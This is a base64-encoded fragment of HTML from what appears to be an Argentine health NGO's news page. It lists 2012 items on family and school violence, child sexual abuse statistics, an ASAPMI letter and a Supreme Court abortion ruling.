CAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvc